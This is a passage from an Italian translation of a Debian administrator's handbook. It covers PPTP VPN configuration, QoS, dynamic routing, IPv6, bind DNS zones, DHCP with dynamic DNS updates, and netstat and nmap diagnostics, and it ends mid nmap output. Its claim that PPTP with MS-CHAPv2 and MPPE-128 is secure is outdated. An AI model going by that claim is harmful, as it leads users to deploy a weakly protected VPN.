I firewall NAT e IPsec non lavorano bene insieme: poiché IPsec firma i pacchetti, qualsiasi cambiamento (eventualmente) fatto dal firewall sui pacchetti renderà la firma non valida e i pacchetti verranno rifiutati a destinazione. Varie implementazioni di IPsec includono ora la tecnica NAT-T (NAT Traversal), che fondamentalmente incapsula il pacchetto IPsec all'interno di un pacchetto UDP standard.

SICUREZZA IPsec e firewall

La modalità standard di IPsec prevede lo scambio di dati sulla porta UDP 500 per gli scambi delle chiavi (anche sulla porta UDP 4500 nel caso NAT-T sia in funzione). Inoltre, i pacchetti IPsec utilizzano due protocolli IP dedicati che il firewall deve lasciare passare; la ricezione di questi pacchetti è basata sul loro numero di protocollo, 50 (ESP) e 51 (AH).

10.3.4. PPTP

PPTP (protocollo di tunneling punto a punto: Point to Point Tunneling Protocol) utilizza due canali di comunicazione, uno per i dati di controllo e uno per i dati di traffico; quest'ultimo utilizza il protocollo GRE (incapsulamento generico di instradamento: Generic Routing Encapsulation). Un collegamento PPP standard viene poi stabilito sopra il canale di scambio dei dati.

10.3.4.1. Configurazione del client

Il pacchetto pptp-linux contiene un client PPTP facilmente configurabile per Linux. Le seguenti istruzioni trovano ispirazione nella documentazione ufficiale:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Gli amministratori della Falcot hanno creato diversi file: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot e /etc/ppp/ip-down.d/falcot.

Esempio 10.2. Il file /etc/ppp/options.pptp

# Opzioni PPP usate per una connessione PPTP

lock

noauth

nobsdcomp

nodeflate

Esempio 10.3. Il file /etc/ppp/peers/falcot

# vpn.falcot.com e' il server PPTP

pty "pptp vpn.falcot.com --nolaunchpppd"

# la connessione si identifichera' come utente 'vpn'

user vpn

remotename pptp

# e' necessaria la cifratura

require-mppe-128

file /etc/ppp/options.pptp

ipparam falcot

Esempio 10.4. Il file /etc/ppp/ip-up.d/falcot

# Create the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

ip route add 192.168.0.0/24 dev $1

fi

Esempio 10.5. Il file /etc/ppp/ip-down.d/falcot

# Delete the route to the Falcot network

if [ "$6" = "falcot" ]; then

# 192.168.0.0/24 is the (remote) Falcot network

ip route del 192.168.0.0/24 dev $1

fi

SICUREZZA MPPE

Mettere in sicurezza PPTP implica l'uso della funzionalità di crittografia MPPE (Microsoft Point to Point Encryption), disponibile come modulo nei kernel Debian ufficiali.

10.3.4.2. Configurazione del server

ATTENZIONE PPTP e firewall

I firewall intermedi devono essere configurati per consentire il passaggio dei pacchetti IP che utilizzano il protocollo 47 (GRE). Inoltre, la porta 1723 del server PPTP deve essere aperta in modo che possa attivarsi il canale di comunicazione.

pptpd è il server PPTP per Linux. Il file di configurazione principale, /etc/pptpd.conf, richiede pochissime modifiche: localip (indirizzo IP locale) e remoteip (indirizzo IP remoto). Nell'esempio riportato di seguito, il server PPTP utilizza sempre l'indirizzo 192.168.0.199 e i client PPTP ricevono gli indirizzi IP da 192.168.0.200 a 192.168.0.250.

Esempio 10.6. Il file /etc/pptpd.conf

# TAG: speed

#

#       Specifies the speed for the PPP daemon to talk at.

#

speed 115200

# TAG: option

#

#       Specifies the location of the PPP options file.

#       By default PPP looks in '/etc/ppp/options'

#

option /etc/ppp/pptpd-options

# TAG: debug

#

#       Turns on (more) debugging to syslog

#

# debug

# TAG: localip

# TAG: remoteip

#

#       Specifies the local and remote IP address ranges.

#

#       You can specify single IP addresses separated by commas or you can

#       specify ranges, or both. For example:

#

#               192.168.0.234,192.168.0.245-249,192.168.0.254

#

#       IMPORTANT RESTRICTIONS:

#

#       1. No spaces are permitted between commas or within addresses.

#

#       2. If you give more IP addresses than MAX_CONNECTIONS, it will

#          start at the beginning of the list and go until it gets

#          MAX_CONNECTIONS IPs. Others will be ignored.

#

#       3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238,

#          you must type 234-238 if you mean this.

#

#       4. If you give a single localIP, that's ok - all local IPs will

#          be set to the given one. You MUST still give at least one remote

#          IP for each simultaneous client.

#

#localip 192.168.0.234-238,192.168.0.245

#remoteip 192.168.1.234-238,192.168.1.245

#localip 10.0.1.1

#remoteip 10.0.1.2-100

localip 192.168.0.199

remoteip 192.168.0.200-250

La configurazione PPP utilizzata da un server PPTP richiede anche alcuni cambiamenti in /etc/ppp/pptpd-options. I parametri importanti sono il nome del server (pptp), il nome di dominio (falcot.com) e gli indirizzi IP per i server DNS e WINS.

Esempio 10.7. Il file /etc/ppp/pptpd-options

## turn pppd syslog debugging on

#debug

## change 'servername' to whatever you specify as your server name in chap-secrets

name pptp

## change the domainname to your local domain

domain falcot.com

## these are reasonable defaults for WinXXXX clients

## for the security related settings

# The Debian pppd package now supports both MSCHAP and MPPE, so enable them

# here. Please note that the kernel support for MPPE must also be present!

auth

require-chap

require-mschap

require-mschap-v2

require-mppe-128

## Fill in your addresses

ms-dns 192.168.0.1

ms-wins 192.168.0.1

## Fill in your netmask

netmask 255.255.255.0

## some defaults

nodefaultroute

proxyarp

lock

L'ultimo passaggio prevede la registrazione dell'utente vpn (e la sua password associata) nel file /etc/ppp/chap-secrets. Contrariamente alle altre istanze dove un asterisco (*) potrebbe funzionare, il nome del server deve essere inserito qui in modo esplicito. Inoltre, i client Windows PPTP si identificano con la forma DOMINIO\\UTENTE, anziché fornire il solo nome utente. Questo spiega perché il file cita anche l'utente FALCOT\vpn. È anche possibile specificare i singoli indirizzi IP per gli utenti; un asterisco in questo campo specifica che devono essere utilizzati gli indirizzi dinamici.

Esempio 10.8. Il file /etc/ppp/chap-secrets

# Secrets for authentication using CHAP

# client        server  secret      IP addresses

vpn             pptp    f@Lc3au     *

FALCOT\\vpn     pptp    f@Lc3au     *

SICUREZZA Vulnerabilità in PPTP

La prima implementazione PPTP di Microsoft ha attirato pesanti critiche perché aveva molte vulnerabilità di sicurezza; da allora, la maggior parte sono state risolte nelle versioni più recenti. La configurazione documentata in questa sezione utilizza l'ultima versione del protocollo. Bisogna essere consapevoli però che rimuovere alcune opzioni (ad esempio require-mppe-128 e require-mschap-v2) renderebbe il servizio nuovamente vulnerabile.

10.4. Qualità del servizio (QoS)

10.4.1. Principi e meccanismi

Con qualità del servizio (QoS: Quality of Service) ci si riferisce ad un insieme di tecniche che garantiscono o migliorano la qualità del servizio fornito alle applicazioni. La tecnica più diffusa consiste nel classificare il traffico di rete in categorie e differenziare la gestione del traffico in base alla categoria a cui appartiene. La principale applicazione di questa tecnica di differenziazione dei servizi è il traffic shaping, con il quale si limita la velocità di trasmissione dati in base a connessioni relative ad alcuni servizi e/o host per evitare di saturare la banda disponibile ed il collasso di altri servizi importanti. Il traffic shaping è particolarmente adatto al traffico TCP, poiché questo protocollo adatta automaticamente il traffico in base alla larghezza di banda disponibile.

CULTURE Net neutrality and QoS

Network neutrality is achieved when Internet service providers treat all Internet communications equally, that is, without any access limitation based on content, user, website, destination address, etc.

Quality of service can be implemented in a net neutral Internet, but only if Internet service providers can't charge a special fee for a higher-quality service.

È anche possibile modificare la priorità del traffico, il che permette di dare priorità a pacchetti relativi a servizi interattivi (ad esempio ssh e telnet) o ai servizi che si occupano solo di piccoli blocchi di dati.

I kernel Debian includono le funzionalità richieste per QoS insieme ai relativi moduli. Questi moduli sono molti e ciascuno di essi fornisce un servizio diverso, in particolare mediante speciali funzionalità di pianificazione per le code dei pacchetti IP; il vasto insieme di funzionalità di pianificazione disponibile copre l'intera gamma delle possibili necessità.

CULTURA LARTC — Instradamento avanzato e controllo del traffico di Linux (Linux Advanced Routing & Traffic Control)

The Linux Advanced Routing & Traffic Control HOWTO is the reference document covering everything there is to know about network quality of service.

→ https://www.lartc.org/howto/

10.4.2. Configurazione ed implementazione

Attraverso il comando tc (fornito dal pacchetto iproute) vengono impostati i parametri di QoS. Dal momento che la sua interfaccia è abbastanza complessa, è consigliabile utilizzare strumenti di livello superiore.

10.4.2.1. Ridurre le latenze: wondershaper

Lo scopo principale di wondershaper (nel pacchetto omonimo) è quello di ridurre al minimo le latenze indipendentemente dal carico della rete. Questo risultato è ottenuto limitando il traffico totale a un valore che cade appena sotto il valore di saturazione del collegamento.

Una volta configurata un'interfaccia di rete, l'impostazione della limitazione del traffico è ottenuta eseguendo wondershaper interfaccia velocità_download velocità_upload. L'interfaccia può essere per esempio eth0 o ppp0, entrambe le velocità sono espresse in kilobit al secondo. Il comando wondershaper remove interfaccia disabilita il controllo del traffico sull'interfaccia specificata.

Per una connessione Ethernet, questo script produce un risultato migliore se chiamato subito dopo che l'interfaccia è stata configurata. È possibile ottenere questo risultato aggiungendo le direttive up e down al file /etc/network/interfaces che permettono di dichiarare i comandi da eseguire, rispettivamente dopo aver configurato l'interfaccia e prima che sia disattivata. Ad esempio:

Esempio 10.9. Modifiche nel file /etc/network/interfaces

iface eth0 inet dhcp

up /sbin/wondershaper eth0 500 100

down /sbin/wondershaper remove eth0

Nel caso di PPP, la creazione di uno script che richiama wondershaper nella directory /etc/ppp/ip-up.d/ permetterà il controllo del traffico non appena la connessione è attiva.

APPROFONDIMENTI Configurazione ottimale

Il file /usr/share/doc/wondershaper/README.Debian.gz descrive più in dettaglio il metodo di configurazione consigliato dal responsabile del pacchetto. In particolare, si consiglia di misurare la velocità di caricamento e scaricamento in modo da valutare al meglio i limiti reali.

10.4.2.2. Configurazione standard

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated of Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

The DSCP field can be set by applications that generate IP packets, or modified on the fly by netfilter. The following rules are sufficient to increase responsiveness for a server's SSH service, note that the DSCP field must be set in hexadecimal:

nft add table ip mangle

nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04

nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Instradamento dinamico

Lo strumento di riferimento per l'instradamento dinamico è attualmente quagga (dal pacchetto omonimo in Debian); sostituisce il precedente zebra, il cui sviluppo è stato interrotto. Tuttavia, per ragioni di compatibilità, il progetto quagga ha mantenuto i nomi dei programmi eseguibili, questo spiega perché più sotto vengano usati comandi zebra.

FONDAMENTALI Instradamento dinamico

L'instradamento dinamico consente ai router di regolare, in tempo reale, i percorsi utilizzati per la trasmissione di pacchetti IP. Ogni protocollo ha i propri metodi per definire i percorsi (calcolare il percorso più breve, utilizzare percorsi annunciati da peer e così via).

In the Linux kernel, a route links a network device to a set of machines that can be reached through this device. The ip command, when route is used as the first argument, defines new routes and displays existing ones. The route command was used for that purpose, but it is deprecated in favor of ip.

Quagga is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon. The zebra daemon collects information from other daemons and handles static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, and isisd.

Daemons are enabled by creating the /etc/quagga/daemon.conf config file, daemon being the name of the daemon to use; this file must belong to the quagga user and group in order for the /etc/init.d/zebra script to invoke the daemon. The package quagga-core provides configuration examples under /usr/share/doc/quagga-core/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but quagga-doc provides ample explanation in the form of an info file. The same contents may be more easily browsed as HTML on the Quagga website:

→ http://www.nongnu.org/quagga/docs/docs-info.html

Inoltre, la sintassi è molto vicino all'interfaccia di configurazione di un router standard e gli amministratori di rete si adatteranno rapidamente a quagga.

IN PRATICA OSPF, BGP o RIP?

OSPF (Open Shortest Path First) is generally the best protocol to use for dynamic routing on private networks, but BGP (Border Gateway Protocol) is more common for Internet-wide routing. RIP (Routing Information Protocol) is rather ancient, and hardly used anymore.

10.6. IPv6

IPv6, successore di IPv4, è una nuova versione del protocollo IP progettata per correggere i suoi difetti, in particolare la scarsità di indirizzi IP disponibili. Questo protocollo gestisce il livello di rete, il suo scopo è di fornire indirizzi alle macchine, di trasmettere dati verso la destinazione finale e di gestire la frammentazione dei dati se necessario (in altre parole, di dividere i pacchetti in blocchi con una dimensione che dipende dai collegamenti di rete da utilizzare sul percorso e di ricomporre i pezzi nel loro giusto ordine all'arrivo).

I kernel Debian includono la gestione IPv6 nel nucleo centrale del kernel (con l'eccezione di alcune architetture compilate con un modulo chiamato ipv6). Strumenti di base come ping e traceroute hanno i loro equivalenti IPv6 in ping6 e traceroute6, disponibili rispettivamente nei pacchetti iputils-ping e iputils-tracepath.

La rete IPv6 è configurata in modo simile a IPv4, in /etc/network/interfaces. Se si vuole rendere questa rete accessibile a livello globale, è necessario assicurarsi di avere un router che supporti il traffico dati IPv6 verso la rete globale IPv6.

Esempio 10.10. Esempio di configurazione IPv6

iface eth0 inet6 static

address 2001:db8:1234:5::1:1/64

# Disabling auto-configuration

# autoconf 0

# The router is auto-configured and has no fixed address

# (accept_ra 1). If it had:

# gateway 2001:db8:1234:5::1

Le sottoreti IPv6 di solito hanno una maschera a 64 bit. Questo significa che esistono 2^64 indirizzi distinti all'interno della sottorete. Questo permette a Stateless Address Autoconfiguration (SLAAC) di scegliere un indirizzo in base all'indirizzo MAC dell'interfaccia di rete. Per impostazione predefinita, se SLAAC è attivato nella rete e IPv6 sul computer, il kernel troverà automaticamente i router IPv6 e configurerà le interfacce di rete.

Questo comportamento può avere implicazioni per la privacy. Se si passa di frequente tra le reti, per esempio con un computer portatile, si potrebbe desiderare che il proprio indirizzo MAC non sia parte del proprio indirizzo IPv6 pubblico. Questo rende più facile identificare lo stesso dispositivo attraverso le reti. Una soluzione a questo problema sono le estensioni della privacy di IPv6 (che Debian abilita di default se non viene rilevata la connettività IPv6 durante l'installazione iniziale), che assegneranno un ulteriore indirizzo generato in modo casuale all'interfaccia, cambiato periodicamente e questo verrà preferito per le connessioni in uscita. Connessioni in entrata possono ancora utilizzare l'indirizzo generato da SLAAC. L'esempio che segue, per l'uso in /etc/network/interfaces, attiva queste estensioni della privacy.

Esempio 10.11. estensioni della privacy di IPv6

iface eth0 inet6 auto

# Prefer the randomly assigned addresses for outgoing connections.

privext 2

SUGGERIMENTO Programmi compilati con IPv6

Many pieces of software need to be adapted to handle IPv6. Most of the packages in Debian have been adapted already, but not all. If your favorite package does not work with IPv6 yet, you can ask for help on the debian-ipv6 mailing-list. They might know about an IPv6-aware replacement and could file a bug to get the issue properly tracked.

→ https://lists.debian.org/debian-ipv6/

IPv6 connections can be restricted, in the same fashion as for IPv4. nft can be used to create firewall rules for IPv4 and IPv6 (see Sezione 14.2.3, «Sintassi di nft»).

10.6.1. Tunneling

ATTENZIONETunneling IPv6 e firewall

Il tunneling IPv6 su IPv4 (al contrario dell'IPv6 nativo) richiede il firewall per accettare il traffico, che utilizza numero di protocollo IPv4 41.

If a native IPv6 connection is not available, the fallback method is to use a tunnel over IPv4. Hurricane Electric is one (free) provider of such tunnels:

→ https://tunnelbroker.net

To use a Hurricane Electric tunnel, you need to register an account, login, select a free tunnel and edit the file /etc/network/interfaces with the generated code.

You can install and configure the radvd daemon (from the similarly-named package) if you want to use the configured computer as a router for a local network. This IPv6 configuration daemon has a role similar to dhcpd in the IPv4 world.

The /etc/radvd.conf configuration file must then be created (see /usr/share/doc/radvd/examples/simple-radvd.conf as a starting point). In our case, the only required change is the prefix, which needs to be replaced with the one provided by Hurricane Electric; it can be found in the output of the ip a command, in the block concerning the he-ipv6 interface.

Then run systemctl start radvd. The IPv6 network should now work.

10.7. Server dei nomi di dominio (DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 149.20.4.15 or 2001:4f8:1:c::15.

I record DNS sono organizzati in zone, ad ogni zona corrisponde un dominio (o sottodominio) o un intervallo di indirizzi IP (dal momento che gli indirizzi IP vengono generalmente assegnati in campi consecutivi). Un server primario è autorevole sul contenuto di una zona; server secondari, di solito ospitati su macchine separate, servono a fornire copie regolarmente aggiornate della zona primaria.

Each zone can contain records of various kinds (Resource Records), these are some of the most common:

- A: indirizzo IPv4.

- CNAME : alias ( nome canonico ).

- MX: mail exchange, un server di posta elettronica. Queste informazioni vengono usate da altri server di posta elettronica per trovare dove inviare e-mail indirizzate ad un determinato indirizzo. Ogni record MX ha una priorità. Viene prima utilizzato il server con la priorità più alta (con il numero più basso, vedere riquadro FONDAMENTALI SMTP ); in caso il primo server non risponda, vengono interrogati i successivi in ordine decrescente di priorità.

- PTR: risoluzione di un indirizzo IP ad un nome. Tale record viene memorizzato in una zona dedicata alla ricerca inversa «reverse DNS» che prende il nome secondo l'intervallo di indirizzi IP. Per esempio, 1.168.192.in-addr.arpa è la zona contenente la risoluzione inversa per tutti gli indirizzi nell'intervallo 192.168.1.0/24.

- AAAA: indirizzo IPv6.

- NS: associa un nome ad un server di nomi. Ogni dominio deve avere almeno un record NS. Questi record puntano ad un server DNS in grado di rispondere ad interrogazioni relative a questo dominio; di solito puntano ai server primario e secondario per il dominio. Questi record permettono anche la delega DNS. Per esempio, la zona falcot.com può comprendere un record NS per internal.falcot.com, il che significa che un altro server gestisce la zona internal.falcot.com. Naturalmente, questo server deve dichiarare una zona internal.falcot.com.

10.7.1. DNS software

Il server di nomi di riferimento, Bind, è stato sviluppato ed è mantenuto dall'ISC (Internet Software Consortium). Viene fornito in Debian dal pacchetto bind9. La versione 9 apporta due importanti modifiche rispetto alle versioni precedenti. In primo luogo, il server DNS ora può essere eseguito come utente non privilegiato, in modo che una vulnerabilità di sicurezza nel server non conceda privilegi di root all'autore di un attacco (come si è visto più volte con le versioni 8.x).

Inoltre, Bind supporta lo standard DNSSEC per la firma (e quindi per l'autenticazione) dei record DNS, il che consente di bloccare qualsiasi tentativo di spoofing di questi dati durante attacchi di tipo man-in-the-middle.

CULTURA DNSSEC

The DNSSEC norm is quite complex; this partly explains why it is not in widespread usage yet (even if it perfectly coexists with DNS servers unaware of DNSSEC). To understand all the ins and outs, you should check the following article.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configuring bind

Qualunque sia la versione di bind usata, i file di configurazione hanno la stessa struttura.

Gli amministratori Falcot hanno creato una zona primaria falcot.com per memorizzare le informazioni relative a questo dominio, ed una zona 168.192.in-addr.arpa per la risoluzione inversa degli indirizzi IP nelle reti locali.

ATTENZIONE Nomi delle zone inverse

Le zone inverse hanno un nome particolare. La zona che copre la rete 192.168.0.0/16 deve essere chiamata 168.192.in-addr.arpa: i componenti degli indirizzi IP sono invertiti, e seguiti dal suffisso in-addr.arpa.

Per le reti IPv6, il suffisso è ip6.arpa e gli elementi di indirizzo IP che vengono invertiti sono ogni carattere nella rappresentazione esadecimale completa dell'indirizzo IP. Come tale, la rete 2001:0bc8:31a0::/48 dovrebbe utilizzare una zona denominata 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

SUGGERIMENTO Verifica del server DNS

Il comando host (nel pacchetto bind9-host) interroga un server DNS, e può essere usato per testare la configurazione del server. Per esempio, host macchina.falcot.com localhost controlla la risposta del server locale per macchina.falcot.com. host indirizzo ip localhost verifica la risoluzione inversa.

Gli estratti di configurazione seguenti, tratti dai file della società Falcot, possono servire come punti di partenza per configurare un server DNS:

Esempio 10.12. Estratto da /etc/bind/named.conf.local

zone "falcot.com" {

type master;

file "/etc/bind/db.falcot.com";

allow-query { any; };

allow-transfer {

195.20.105.149/32 ; // ns0.xname.org

193.23.158.13/32 ; // ns1.xname.org

};

};

zone "internal.falcot.com" {

type master;

file "/etc/bind/db.internal.falcot.com";

allow-query { 192.168.0.0/16; };

};

zone "168.192.in-addr.arpa" {

type master;

file "/etc/bind/db.192.168";

allow-query { 192.168.0.0/16; };

};

Esempio 10.13. Estratto da /etc/bind/db.falcot.com

; falcot.com Zone

; admin.falcot.com. => zone contact: admin@falcot.com

$TTL    604800

@       IN      SOA     falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

;

; The @ refers to the zone name ("falcot.com" here)

; or to $ORIGIN if that directive has been used

;

@       IN      NS      ns

@       IN      NS      ns0.xname.org.

internal IN      NS      192.168.0.2

@       IN      A       212.94.201.10

@       IN      MX      5 mail

@       IN      MX      10 mail2

ns      IN      A       212.94.201.10

mail    IN      A       212.94.201.10

mail2   IN      A       212.94.201.11

www     IN      A       212.94.201.11

dns     IN      CNAME   ns

ATTENZIONE Sintassi di un nome

La sintassi dei nomi delle macchine segue regole severe. Ad esempio, macchina sottintende macchina.dominio. Se il nome di dominio non deve essere aggiunto ad un nome, tale nome deve essere scritto come macchina. (con un punto come suffisso). Per indicare un nome DNS al di fuori del dominio corrente è necessaria una sintassi del tipo macchina.altrodominio.com. (con il punto finale).

Esempio 10.14. Estratto da /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16

; admin.falcot.com. => zone contact: admin@falcot.com

$TTL    604800

@       IN      SOA     ns.internal.falcot.com. admin.falcot.com. (

20040121        ; Serial

604800         ; Refresh

86400         ; Retry

2419200         ; Expire

604800 )       ; Negative Cache TTL

IN      NS      ns.internal.falcot.com.

; 192.168.0.1 -> arrakis

1.0     IN      PTR     arrakis.internal.falcot.com.

; 192.168.0.2 -> neptune

2.0     IN      PTR     neptune.internal.falcot.com.

; 192.168.3.1 -> pau

1.3     IN      PTR     pau.internal.falcot.com.

10.8. DHCP

DHCP (protocollo di configurazione dinamica degli host: Dynamic Host Configuration Protocol) è un protocollo con il quale una macchina può ottenere la configurazione di rete automaticamente al suo avvio. Questo permette di centralizzare la gestione delle configurazioni di rete, e garantire che tutte le macchine desktop abbiano impostazioni simili.

Un server DHCP fornisce molti parametri relativi alla rete. Il più comune di questi è un indirizzo IP e la rete a cui la macchina appartiene, ma può anche fornire altre informazioni, come: server DNS, server WINS, server NTP e così via.

L'autore principale del server DHCP è l'Internet Software Consortium (coinvolto anche nello sviluppo di bind). Il pacchetto Debian corrispondente è isc-dhcp-server.

10.8.1. Configurazione

The first elements that need to be edited in the DHCP server configuration files (/etc/dhcp/dhcpd.conf, and /etc/dhcp/dhcpd6.conf for IPv6) are the domain name and the DNS servers. If this server is alone on the local network (as defined by the broadcast propagation), the authoritative directive must also be enabled (or uncommented). One also needs to create a subnet section describing the local network and the configuration information to be provided. The following example fits a 192.168.0.0/24 local network with a router at 192.168.0.1 serving as the gateway. Available IP addresses are in the range 192.168.0.128 to 192.168.0.254.

Esempio 10.15. Estratto da /etc/dhcp/dhcpd.conf

#

# Sample configuration file for ISC dhcpd for Debian

#

# The ddns-updates-style parameter controls whether or not the server will

# attempt to do a DNS update when a lease is confirmed. We default to the

# behavior of the version 2 packages ('none', since DHCP v2 didn't

# have support for DDNS.)

ddns-update-style interim;

# option definitions common to all supported networks...

option domain-name "internal.falcot.com";

option domain-name-servers ns.internal.falcot.com;

default-lease-time 600;

max-lease-time 7200;

# If this DHCP server is the official DHCP server for the local

# network, the authoritative directive should be uncommented.

authoritative;

# Use this to send dhcp log messages to a different log file (you also

# have to hack syslog.conf to complete the redirection).

log-facility local7;

# My subnet

subnet 192.168.0.0 netmask 255.255.255.0 {

option routers 192.168.0.1;

option broadcast-address 192.168.0.255;

range 192.168.0.128 192.168.0.254;

ddns-domainname "internal.falcot.com";

}

10.8.2. DHCP e DNS

Una caratteristica interessante è la registrazione automatica dei client DHCP nella zona DNS, in modo che ogni macchina abbia un nome significativo (piuttosto che qualcosa di impersonale, come machine-192-168-0-131.internal.falcot.com). Per utilizzare questa caratteristica è necessario configurare il server DNS in modo che accetti gli aggiornamenti nella zona DNS internal.falcot.com da parte del server DHCP, e la configurazione di quest'ultimo ad inviare gli aggiornamenti ad ogni registrazione.

In the bind case (see Sezione 10.7.1, «DNS software»), the allow-update directive needs to be added to each of the zones that the DHCP server is to edit (the one for the internal.falcot.com domain, and the reverse zone). This directive lists the IP addresses allowed to perform these updates; it should therefore contain the possible addresses of the DHCP server (both the local address and the public address, if appropriate).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Attenzione! Una zona che può essere modificata verrà modificata tramite bind, quest'ultimo sovrascriverà i file di configurazione a intervalli regolari. Poiché questa procedura automatizzata produce file che sono meno leggibili rispetto a quelli scritti manualmente, gli amministratori Falcot gestiscono il dominio internal.falcot.com con un server DNS delegato; questo significa che il file di zona falcot.com resta saldamente sotto il loro controllo manuale.

The DHCP server configuration excerpt above already includes the directives required for DNS zone updates: they are the ddns-update-style interim; and ddns-domain-name "internal.falcot.com"; lines.

10.9. Strumenti di diagnosi di rete

Quando un'applicazione di rete non viene eseguita come previsto, è importante poter vedere «sotto il cofano». Anche quando tutto sembra funzionare senza problemi, l'esecuzione di una diagnosi di rete può contribuire a garantire che tutto funzioni come dovrebbe. Esistono diversi strumenti di diagnosi per tale scopo; ognuno opera su un livello diverso.

10.9.1. Diagnosi locale: netstat

Menzioniamo per primo il comando netstat (nel pacchetto net-tools), che mostra una sintesi immediata delle attività di rete di una macchina. Quando viene invocato senza alcun argomento, questo comando elenca tutte le connessioni aperte. L'elenco può essere molto dettagliato poiché comprende numerosi socket di dominio Unix (ampiamente utilizzati dai demoni), che non coinvolgono affatto la rete (per esempio, la comunicazione dbus, il traffico X11 e le comunicazioni tra i filesystem virtuali e desktop).

Pertanto, invocazioni comuni utilizzano opzioni che alterano il comportamento di netstat. Le opzioni utilizzate più frequentemente sono:

- -t, che filtra i risultati per includere solo le connessioni TCP;

- -u, che funziona in modo analogo per le connessioni UDP; queste opzioni non si escludono a vicenda, e una di loro è sufficiente per non visualizzare le connessioni di dominio Unix;

- -a, per elencare anche i socket in ascolto (in attesa di connessioni in ingresso);

- -n, per visualizzare i risultati in forma numerica: gli indirizzi IP (senza risoluzione DNS), i numeri di porta (senza alias come definiti in /etc/services) e gli ID utente (senza nomi di login);

- -p, per elencare i processi coinvolti; questa opzione è utile solo quando netstat viene eseguito come root, poiché gli utenti normali vedranno solo i propri processi;

- -c, per aggiornare continuamente la lista delle connessioni.

Altre opzioni, documentate nella pagina di manuale netstat(8), forniscono un controllo più preciso sui risultati visualizzati. Nella pratica, le prime cinque opzioni sono utilizzate così spesso insieme che il comando netstat -tupan è diventato quasi un riflesso tra gli amministratori di sistema e di rete. Il risultato tipico, su una macchina con poco carico, può apparire come il seguente:

# netstat -tupan

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name

tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      397/rpcbind

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      431/sshd

tcp        0      0 0.0.0.0:36568           0.0.0.0:*               LISTEN      407/rpc.statd

tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      762/exim4

tcp        0    272 192.168.1.242:22        192.168.1.129:44452     ESTABLISHED 1172/sshd: roland [

tcp6       0      0 :::111                  :::*                    LISTEN      397/rpcbind

tcp6       0      0 :::22                   :::*                    LISTEN      431/sshd

tcp6       0      0 ::1:25                  :::*                    LISTEN      762/exim4

tcp6       0      0 :::35210                :::*                    LISTEN      407/rpc.statd

udp        0      0 0.0.0.0:39376           0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:996             0.0.0.0:*                           397/rpcbind

udp        0      0 127.0.0.1:1007          0.0.0.0:*                           407/rpc.statd

udp        0      0 0.0.0.0:68              0.0.0.0:*                           916/dhclient

udp        0      0 0.0.0.0:48720           0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:111             0.0.0.0:*                           397/rpcbind

udp        0      0 192.168.1.242:123       0.0.0.0:*                           539/ntpd

udp        0      0 127.0.0.1:123           0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:123             0.0.0.0:*                           539/ntpd

udp        0      0 0.0.0.0:5353            0.0.0.0:*                           451/avahi-daemon: r

udp        0      0 0.0.0.0:39172           0.0.0.0:*                           407/rpc.statd

udp6       0      0 :::996                  :::*                                397/rpcbind

udp6       0      0 :::34277                :::*                                407/rpc.statd

udp6       0      0 :::54852                :::*                                916/dhclient

udp6       0      0 :::111                  :::*                                397/rpcbind

udp6       0      0 :::38007                :::*                                451/avahi-daemon: r

udp6       0      0 fe80::5054:ff:fe99::123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:a:123 :::*                                539/ntpd

udp6       0      0 2001:bc8:3a7e:210:5:123 :::*                                539/ntpd

udp6       0      0 ::1:123                 :::*                                539/ntpd

udp6       0      0 :::123                  :::*                                539/ntpd

udp6       0      0 :::5353                 :::*                                451/avahi-daemon: r

Come previsto, vengono elencate le connessioni stabilite, due connessioni SSH in questo caso, e le applicazioni in attesa di connessioni in ingresso (indicate come LISTEN), in particolare il server di posta elettronica Exim4 in ascolto sulla porta 25.

10.9.2. Diagnosi da remoto: nmap

nmap (nel pacchetto dal nome analogo) è in un certo senso l'equivalente remoto di netstat. Può eseguire la scansione di una serie di porte «note» per uno o più server remoti, ed elencare le porte su cui un'applicazione risponde alle connessioni in ingresso. Inoltre, nmap è in grado di identificare alcune di queste applicazioni e a volte anche il loro numero di versione. La contropartita di questo strumento è che, poiché funziona da remoto, non può fornire informazioni su processi o utenti; tuttavia può operare su più target contemporaneamente.

Una tipica invocazione di nmap utilizza solo l'opzione -A (in questo modo nmap tenta di identificare le versioni del software per i server che trova), seguita da uno o più indirizzi IP o dai nomi DNS di macchine su cui effettuare la scansione. Ancora una volta, sono disponibili molte altre opzioni per controllare con precisione il comportamento di nmap; consultare la documentazione nella pagina di manuale nmap(1).

# nmap mirtuel

Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-30 21:05 CET

Nmap scan report for mirtuel (192.168.1.242)

Host is up (0.000013s latency).

